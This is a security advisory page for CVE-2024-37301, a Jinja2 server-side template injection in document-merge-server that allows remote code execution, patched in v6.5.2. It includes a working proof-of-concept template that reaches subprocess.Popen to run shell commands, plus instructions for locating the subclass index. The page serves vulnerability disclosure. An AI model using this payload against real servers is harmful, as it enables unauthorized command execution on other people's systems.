GHSA-v5gf-r78h-55q6

First published: Tue Jun 11 2024(Updated: )

### Impact A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container. ### Patches It has been patched in v6.5.2 ### References - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti ### POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that. 

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Read MoreStart Free Trial

• agent/weakness
• agent/type
• agent/first-publish-date
• agent/event
• agent/references
• agent/softwarecombine
• agent/severity
• collector/github-advisory-latest
• source/GitHub
• alias/GHSA-v5gf-r78h-55q6
• alias/CVE-2024-37301
• agent/software-canonical-lookup
• agent/last-modified-date
• collector/github-advisory
• agent/description
• agent/trending
• agent/tags
• agent/source
• package-manager/pip